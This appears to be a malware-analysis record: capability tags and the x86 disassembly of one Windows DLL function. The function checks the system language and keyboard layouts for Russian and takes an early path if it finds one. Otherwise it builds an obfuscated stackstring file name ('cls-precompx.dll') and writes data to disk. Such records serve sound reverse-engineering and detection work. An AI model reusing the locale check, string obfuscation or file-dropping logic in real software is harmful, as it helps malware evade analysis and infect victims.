Function at 0x10002840
Capabilities:
Contain obfuscated stackstrings
Get keyboard layout
Identify system language via api
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10006678
mov eax, dword fs:[0]
push eax
sub esp, 0x554
mov eax, dword [0x1000b040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
cmp dword [ebp + 0xc], 1
mov esi, dword [ebp + 8]
mov dword [ebp - 0x55c], esi
jne 0x10002a0a
mov dword [ebp - 4], 0
xorps xmm0, xmm0
push 0x40
movups xmmword [ebp - 0x438], xmm0
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 7
call fcn.100055be
movups xmm0, xmmword [str.https:__learn.microsoft.com]
mov ecx, eax
mov dword [ebp - 0x428], 0x1b
mov dword [ebp - 0x438], ecx
add esp, 4
mov dword [ebp - 0x424], 0x1f
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x1000844c]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [0x1000845c]
movups xmmword [ecx + 0x20], xmm0
mov eax, dword [0x1000846c]
mov dword [ecx + 0x30], eax
mov ax, word [0x10008470]
mov word [ecx + 0x34], ax
xor eax, eax
mov word [ecx + 0x36], ax
lea edx, [ebp - 0x438]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x478]
call fcn.10002110
mov ecx, dword [ebp - 0x464]
cmp ecx, 0xf
jbe 0x10002952
mov edx, dword [ebp - 0x478]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002948
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100029a3
push ecx
push edx
call fcn.100055ee
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x424]
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 0xf
mov byte [ebp - 0x478], 0
cmp ecx, 7
jbe 0x100029b3
mov edx, dword [ebp - 0x438]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100029a9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100029a9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100055ee
add esp, 8
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edi, 0x3ff
and ax, di
cmp ax, 0x19
jne 0x10002a0a
lea eax, [ebp - 0x414]
push eax
push pe_nt_image_headers32
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
mov edx, eax
test edx, edx
je 0x10002a0a
xor ecx, ecx
test edx, edx
jle 0x10002a0a
nop dword [eax]
mov ax, word [ebp + ecx*4 - 0x414]
and ax, di
cmp ax, 0x19
je 0x10003061
inc ecx
cmp ecx, edx
jl 0x100029f0
xorps xmm0, xmm0
mov dword [ebp - 0x464], 0
movq qword [ebp - 0x46c], xmm0
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 0
push 0xb8
lea eax, [ebp - 0x544]
mov dword [ebp - 4], 3
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push esi
lea ecx, [ebp - 0x544]
call fcn.10003c20
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x544]
mov eax, dword [ebp - 0x544]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
test al, al
je 0x10002ada
mov eax, dword [ebp - 0x544]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x544]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x548], eax
lea ecx, [ebp - 0x534]
call fcn.10003b40
lea ecx, [ebp - 0x52c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x4d4]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, 1
jmp 0x10003063
mov ax, word [0x1000847c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x438], xmm0
mov dword [ebp - 0x484], 0
movq qword [ebp - 0x48c], xmm0
movq xmm0, qword [str.22.12.2024]
mov dword [ebp - 0x428], 0xa
mov dword [ebp - 0x424], 0xf
movq qword [ebp - 0x438], xmm0
mov word [ebp - 0x430], ax
mov byte [ebp - 0x42e], 0
lea edx, [ebp - 0x438]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x48c]
call fcn.10002630
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x424]
cmp ecx, 0xf
jbe 0x10002b81
mov edx, dword [ebp - 0x438]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10002b77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002f30
push ecx
push edx
call fcn.100055ee
add esp, 8
mov eax, dword [ebp - 0x544]
xorps xmm0, xmm0
movq qword [ebp - 0x420], xmm0
xor edi, edi
mov dword [ebp - 0x418], 0
mov word [ebp - 0x43c], 1
mov eax, dword [eax + 4]
mov byte [ebp - 0x553], 0
mov dword [ebp - 0x420], edi
mov dword [ebp - 0x41c], edi
mov esi, dword [ebp + eax - 0x50c]
test esi, esi
lea eax, [ebp - 0x420]
mov dword [ebp - 0x418], edi
sete cl
mov dword [ebp - 0x54c], eax
mov byte [ebp - 0x554], cl
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x450], eax
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x43c], eax
test cl, cl
jne 0x10002c1e
mov al, byte [ebp - 0x450]
mov byte [ebp - 0x547], al
mov al, byte [ebp - 0x43b]
mov byte [ebp - 0x545], al
jmp 0x10002fb1
mov al, byte [ebp - 0x43b]
mov cl, byte [ebp - 0x450]
mov byte [ebp - 0x545], al
mov al, byte [ebp - 0x43c]
mov byte [ebp - 0x547], cl
mov byte [ebp - 0x546], al
test cl, cl
jne 0x10002c66
test edi, edi
je 0x10002c57
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
jne 0x10002c59
xor edi, edi
mov al, byte [ebp - 0x546]
mov byte [ebp - 0x547], 1
test esi, esi
jne 0x10002f36
test edi, edi
jne 0x10002f3e
xor eax, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x430]
mov dword [ebp - 0x458], 0
lea esi, [ebp - 0x420]
mov dword [ebp - 0x430], 0x2d736c63
sub esi, ecx
mov dword [ebp - 0x42c], 0x63657270
xorps xmm0, xmm0
mov dword [ebp - 0x428], 0x78706d6f
movq qword [ebp - 0x460], xmm0
mov ecx, eax
mov dword [ebp - 0x424], 0x6c6c642e
mov edi, eax
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], eax
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x54c], esi
mov dword [ebp - 0x550], ecx
je 0x10002d42
push esi
lea ecx, [ebp - 0x460]
call fcn.10001f20
push esi
mov esi, dword [ebp - 0x460]
lea eax, [ebp - 0x430]
push eax
push esi
mov dword [ebp - 0x450], esi
call sub.VCRUNTIME140.dll_memmove
mov edi, dword [ebp - 0x54c]
add esp, 0xc
mov eax, dword [ebp - 0x458]
add edi, esi
mov ecx, esi
mov dword [ebp - 0x45c], edi
mov dword [ebp - 0x550], ecx
mov dword [ebp - 0x554], eax
mov byte [ebp - 4], 0xa
sub esp, 0xc
mov dword [ebp - 0x444], 0
mov esi, esp
mov dword [ebp - 0x480], 4
xorps xmm0, xmm0
movq qword [ebp - 0x44c], xmm0
mov dword [ebp - 0x47c], 0xa
mov dword [ebp - 0x43c], esp
mov dword [ebp - 0x54c], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
sub edi, ecx
je 0x10002dbe
push edi
mov ecx, esi
call fcn.10001f20
mov esi, dword [esi]
push edi
push dword [ebp - 0x550]
push esi
call sub.VCRUNTIME140.dll_memmove
mov ecx, dword [ebp - 0x54c]
lea eax, [edi + esi]
add esp, 0xc
mov dword [ecx + 4], eax
sub esp, 0xc
mov byte [ebp - 4], 0xb
mov esi, esp
mov dword [ebp - 0x54c], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x41c]
sub eax, dword [ebp - 0x420]
je 0x10002e1e
push eax
mov ecx, esi
call fcn.10001f20
mov edi, dword [esi]
mov esi, dword [ebp - 0x41c]
mov eax, dword [ebp - 0x420]
sub esi, eax
push esi
push eax
push edi
call sub.VCRUNTIME140.dll_memmove
mov ecx, dword [ebp - 0x54c]
lea eax, [edi + esi]
add esp, 0xc
mov dword [ecx + 4], eax
lea eax, [ebp - 0x44c]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x480]
call fcn.100018a0
push 0x10008480
push dword [ebp - 0x55c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov ecx, dword [ebp - 0x448]
mov esi, eax
mov edx, dword [ebp - 0x44c]
sub ecx, edx
push esi
push ecx
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov edx, dword [ebp - 0x44c]
add esp, 0x1c
test edx, edx
je 0x10002ec2
mov ecx, dword [ebp - 0x444]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x10002e9a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002f30
push ecx
push edx
call fcn.100055ee
add esp, 8
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x444], 0
mov ecx, dword [ebp - 0x450]
test ecx, ecx
je 0x10002ef8
mov edx, dword [ebp - 0x554]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10002eee
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002f30
push edx
push ecx
call fcn.100055ee
add esp, 8
mov ecx, dword [ebp - 0x420]
test ecx, ecx
je 0x1000300c
mov edx, dword [ebp - 0x418]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10002fe4
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10002fe4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
test edi, edi
jne 0x10002c76
test al, al
jne 0x10002f5d
test esi, esi
je 0x10002f5b
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x10002f5b
mov byte [ebp - 0x545], al
jmp 0x10002f63
xor esi, esi
mov al, byte [ebp - 0x545]
mov ecx, dword [ebp - 0x41c]
mov byte [ebp - 0x546], al
cmp ecx, dword [ebp - 0x418]
je 0x10002f81
mov byte [ecx], al
inc dword [ebp - 0x41c]
jmp 0x10002f99
lea eax, [ebp - 0x546]
push eax
push dword [ebp - 0x41c]
lea ecx, [ebp - 0x420]
call fcn.100053a0
test esi, esi
je 0x10002fd5
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void_]
cmp eax, 0xffffffff
je 0x10002fd5
mov byte [ebp - 0x43c], 0
test esi, esi
je 0x10002fd5
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x10002fd5
mov cl, byte [ebp - 0x547]
mov byte [ebp - 0x545], al
mov al, 1
jmp 0x10002c3c
mov cl, byte [ebp - 0x547]
xor esi, esi
mov al, 1
jmp 0x10002c3c
push edx
push ecx
call fcn.100055ee
add esp, 8
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0
lea ecx, [ebp - 0x48c]
call fcn.10003e60
mov eax, dword [ebp - 0x544]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x544]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x548], eax
lea ecx, [ebp - 0x534]
call fcn.10003b40
lea ecx, [ebp - 0x52c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x4d4]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100055ab
mov esp, ebp
pop ebp
ret 8